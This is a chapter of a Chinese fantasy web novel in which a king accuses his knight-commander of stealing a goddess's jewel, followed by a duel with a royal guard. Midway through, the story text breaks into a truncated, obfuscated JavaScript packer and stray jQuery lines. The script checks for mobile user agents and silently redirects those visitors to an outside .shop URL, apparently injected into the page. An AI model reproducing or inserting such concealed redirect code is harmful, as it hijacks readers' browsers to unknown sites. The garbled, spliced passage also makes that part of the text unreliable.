衣冠不整的国王好像刚听到他们逃跑的消息,就带着亲卫浩浩荡荡来抓他们了,可是国王是怎么在这么短的时间内锁定到他们的位置的呢?
不会又有人在告密吧?该死的瑞拉,怎么又出卖我?委屈和不甘瞬间模糊了莫伊洛斯的眼眶。
而国王的视线却被她手里沉甸甸的麻袋吸引,向身后打了一个手势,手握长刀的亲卫警戒上前,一把夺走了她手里装满金币的麻袋。
叮叮咚咚一麻袋的金币落在了国王的手上,他上下掂量了一下重量冷笑讥讽:“嚯,你这一晚上真的是没少捡,我是否要向你道一声辛苦?”
“不是她捡的。”所有人偷瞄向声音的来处,今天晚上到底是怎么了,怎么人人都敢顶撞波坦的国王。
但在看到来者,大家都悄咪咪地收起了目光,不做声了。
新手保护期就像及时雨,和他的雪白坐骑一马当先闪现到了众人的面前,下跪,卸下了头盔和配剑,向国王展现了自己的忠诚。
“这袋金币不是她捡的,是我送给她的。”新手保护期的声音宛如定海神针:“麻袋上面还印着代表神的荣光。”
国王漫不经心地提溜着麻袋的束口处,单指轻拨麻袋就原地转了个圈,袋子上确实印有象征着幸运女神的纹章。神的弓与箭组成了倾斜的十字,而盛开桔梗的茎叶交织在这个武器搭出的“花架”上。
国王的亲卫低下了头,毕竟所有人都知道国王只不过是一时兴起想要杀了这个无辜的异乡人。但现在的局面实在是过于惊悚:
不理政事的国王企图污蔑手握神权的骑士长的善举……
国王却气定神闲丝毫不慌:“你送给她的?”
“对,我送给她的。”
“你确定这一袋子的东西,全部都是你送给她的吗?”国王脸上露出了一丝玩味的笑,再三向新手保护期确认他的话里到底有几分真,几分假。
为了不让莫伊洛斯罪加一等,新手保护期虽然隐约察觉到一丝的不对劲,但仍然心一横把所有的问题揽在了自己身上:“对,这一袋子都是我送的。”
国王面对新手保护期这种睁眼说瞎话的行为实在忍无可忍,仿佛自己自登基以来从来没见过这种荒诞的,自寻死路的说辞。虽然离谱到他的笑意怎么都装不下去了,但好似更多的是对于骑士长恨铁不成钢的惋惜。
可是,国王和骑士长不是死敌吗?为什么国王会流露出惋惜的神情呢?还没等莫伊洛斯想明白这个问题的答案,就看见国王打开了麻袋的束口,从占满尘土的麻袋中掏出了一颗闪着耀眼红光的钻石。
他高举手中的宝石,对着月亮仔细地端详:“所以骑士长,你串通龙族来袭击波坦,就是为了来剜去幸运女神的双眼吗?你要权力,我给了,你要神的荣光,我也给了,我竭尽所能给了你我的一切,但你怎么舍得对我……如此残忍?”
除了莫伊洛斯和厄莱,看到国王手里的公主方,所有人都吓得跪倒并小声祈求神的原谅,就连新手保护期的骑兵看见硕大的红色钻石,第一次在没有骑士长的命令下,向国王的方向单膝跪地,弯曲了脊梁。
所有人都知道国王手中的宝石意味着什么。
新手保护期可能也没有料到,丢失的女神之眼会出现在自己送出去的袋子里,吓得瞳孔急剧的扩大。
“骑士长,我觉得你欠所有的波坦人,所有的信仰者一个光明磊落的解释。”
面对国王意味深长的有意刁难,新手保护期感觉如芒在背,但一想到莫伊洛斯今天晚上刚刚咒骂完国王,就觉得进退两难。
就连莫伊洛斯都替他捏了一把汗。可是他是新手保护期欸,解决这种问题难道不是手到擒来的吗?比如往回读档一小会把女神之眼偷偷转移之类的。
但事实上,这种回溯并没有发生。
“对,串通龙族的是我,趁乱剜走女神之眼的人也是我,陛下您满意了吗?”
在漫长的沉默后,新手保护期在唏嘘中认下了所有的罪名。众人低声的议论着,新手保护期作为神的代理人,他所捍卫的信仰第一次在国王的污蔑中产生了动摇。
然而,虚伪的国王好像对于这个回答一点都不满意,上前抬脚就狠狠踹上了新手保护期的肩甲:“没骨气的东西,我白养你了,吃里扒外一天到晚不让我省心,你就算实话实说我都不会恼你,为什么要为了她骗我!”
“我无话可说。”新手保护期在国王歇斯底里的拳打脚踢中依旧蛮不讲理:“你有本事就连我一起杀了啊,留着干嘛?还不够给你添堵的。”
国王闻言,要打人的手突然一顿,好像是被揭开了沉年的伤疤。
“我不杀你。”国王放下了作势要打人的手:“我不舍得杀你。”
“那我祈求你,我的陛下,把一切忘了吧,总要向前看的。”
“我做不到。”在众人惊诧的目光中,国王的声音染上了一丝哽咽:“我忘不掉。”
这段对话落在莫伊洛斯的眼中反而坐实了厄莱在死牢里讲的八卦:国王和新手保护期爱上了同一个人,而且这个人还死掉了!
正当大家都大气不敢喘的时候,一个没有眼色的亲卫上前询问:“陛下,还关死牢吗?”
“别关了,快天亮了,直接绑上断头台吧。”国王有些疲惫。
“那骑士长也绑吗?”此话一出,骑士长身后的骑兵也顾不上向国王表忠心了,纷纷起身“刷——”的一下全体抽出了自己的佩剑。
国王被这突如其来的话吓了一跳,仔仔细细把这个亲卫上上下下打量了一遍,有些敬佩这个愣头青的勇气,但却看热闹不嫌事大的拱火:“要是你能打得过他,我倒是不介意把他的位置换给你来坐。”
出乎意料的是,面对王国的最强战力,这个亲卫从腰间抽出了佩刀,刀尖指向新手保护期并当着众人发起了挑战:
“我是国王亲卫第十团的盖尤斯军士,我在胜利广场幸运女神的身后,沐浴着国王的荣光向你发起神圣的决斗,拔剑吧,骑士长,让神明决断我们的罪孽孰轻孰重。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799726|210462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>莫伊洛斯和厄莱交换了一个眼神,都在对方眼里读出了这个人会不会疯了的感慨。
“我接受你的挑战,盖尤斯军士,你挑战的是幸运女神的神威,她不会与你同在的。”新手保护期言语轻佻的逗弄着对手,从腰间抽出了佩剑挽出一个漂亮的剑花:“你可千万不要一时糊涂,搭上了自己的性命,睁开眼看看你身后的昏君,他可不值得你如此的拼死守护。”
在一旁看戏的国王突然被骑士长点名,有些不可思议新手保护期居然敢当众说自己是昏君,但可惜决斗已经开始,他不能再冲上去上手打人了。
“值不值得可不是你说的算的。”盖尤斯率先出刀:“我有我自己的信仰。”
“原来是异教徒,我才离开波坦几年,国王这么快就确立新教了吗?”新手保护期一边格挡,眼神的杀意却怎么都挡不住往国王那边飘去:“我最尊敬的君主,我怎么从来没有听说过呢?”
刚刚还疯癫到单方面殴打骑士长的国王,听到这话也瞪大了双眼,一直向新手保护期使眼色摇头暗中摆手表示这事可不是自己干的。两方阵营气氛达到了燃点,只有莫伊洛斯和厄莱看的津津有味,都忘了趁着这波暴乱走为上策。
这个瓜太够劲儿,换个地方可就吃不到了。
“作为神的使者,你却敢背叛人类串通龙族来剜神的眼睛,你虚伪至极!这样的你,又让我怎么作为毕生的信仰向你俯首?”杀红了眼的盖尤斯根本不接骑士长的话,只是笨拙的向骑士长砍下一刀又一刀。
身经百战的骑士长只是优雅的躲闪,格挡,就像玩弄一个刚学会走路的小孩,但听到盖尤斯连国王的话也没听进去——尤其是国王亲口承认自己清白的那句,瞬间丧失了玩下去的兴致。
干脆利落的转身,一剑震飞了盖尤斯军士手里的长刀。
骑士长的剑刃横在盖尤斯军士的颈间,国王却罕见的出言制止:“够了,到此为止吧。”
可能骑士长也没打算真的杀了这个出身平民家庭的军士,一言不发收了手中的剑。
但当骑士长华丽转身准备向观众行礼致敬的时候,看见莫伊洛斯和厄莱还呆呆的站在池边看戏看的出神,瞬间炙热的血液涌进了他的大脑。他刚准备抬起行礼的手恨不得变成落在这两个蠢货身上的巴掌。
多好的机会,你们两个怎么不趁乱继续跑啊?可能是隔空感受到了来自骑士长滔天怒火,莫伊洛斯回头尴尬一笑,用无声的口型回应着骑士长:这不是有你在嘛……
新手保护期确实与他们同在,但这并不影响莫伊洛斯和厄莱还是被国王的亲卫五花大绑,只不过厄莱的绳子里参杂着黑色的丝线,看起来比莫伊洛斯痛苦的多。
“我不知道你们两个的脑子是怎么长的。”新手保护期有些难以置信:“国王说要直接送你们上断头台,我可不敢光明正大的在国王的刀下抢人。”
“但我觉得……你和国王关系应该挺好的,要不你再通融一下?”莫伊洛斯有些心虚,露出了一个尴尬但不失礼貌的微笑。